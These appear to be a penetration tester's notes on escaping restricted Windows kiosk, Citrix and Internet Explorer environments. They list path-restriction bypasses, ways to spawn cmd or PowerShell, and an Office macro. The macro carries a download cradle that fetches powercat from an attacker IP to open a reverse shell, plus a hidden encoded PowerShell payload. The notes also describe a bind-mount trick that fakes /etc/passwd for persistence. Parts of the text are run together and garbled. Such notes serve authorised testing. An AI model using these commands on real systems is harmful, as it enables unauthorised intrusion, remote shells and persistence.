Amazing resource: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#dialogboxes
Kiosk breakout badusb script: https://github.com/KhaelK138/badusb-windows-kiosk-breakout/blob/main/breakout_payload.txt
Bypassing Path Restrictions
C:\Windows\ will be restricted, but we can use %WINDIR% or shell:MyComputerFolder to bypass this
about:, data:, ftp:, mailto:, news:, res:, telnet:, snews:, or view-source: can also be an avenue for a breakout
ftp and then !"{command_to_run}", such as !"dir C:\Windows\System32"calculator://localhost exists, don’t ask me why\\127.0.0.1\C$\Windows\System32Getting a Shell
cmd, powershell, or powershell_ISE.txt, onto the cmd binaryfile:///C:/Windows/System32/cmd.exe or file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe).bat or .cmd files, such as something as simple as powershell
.vbs file with the following set objApp = CreateObject("WScript.Shell"): objApp.Run "powershell"Bypassing Disabled Interactive Sessions
cmd is run with /K or /C, it won’t allow for interactive commands
cmd.exe /K pause or provided a command with cmd.exe /C {command}Bypassing Name Restrictions
cmd.exe to mspaint.exeUtilizing Internet Explorer
file://c:\windows\system32\cmd.exe is always a good shotfile > Customize Internet Explorer view source > other can allow us to set the application to view source as C:\Windows\System32\cmd.execmd.exe can also workCitrix
.ICA file that Citrix uses as configuration, we can add InitialProgram=cmd.exeBreaking out with MS Paint?!?!
10 0 0, 13 10 13, 100 109 99, 120 101 46, 0 0 101, 0 0 0.bat fileMS Office Macros
docx file, opening it, and running a macro
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
IEX(New-Object System.Net.WebClient).DownloadString('http://{IP}:{port}/powercat.ps1');powercat -c {IP} -p {port} -e powershellDim Str as StringStr = Str + "powershell.exe -nop -w hidden -enc {base64}"Str = Str + {base64}"CreateObject("Wscript.Shell").Run StrLOLBAS
Bypassing Read-Only File Systems
/etc/passwd, even as root, but we want persistence/tmp/passwd and then run sudo mount -o bind /tmp/passwd /etc/passwd/etc/passwd will read our version, even though actual /etc/passwd is unchanged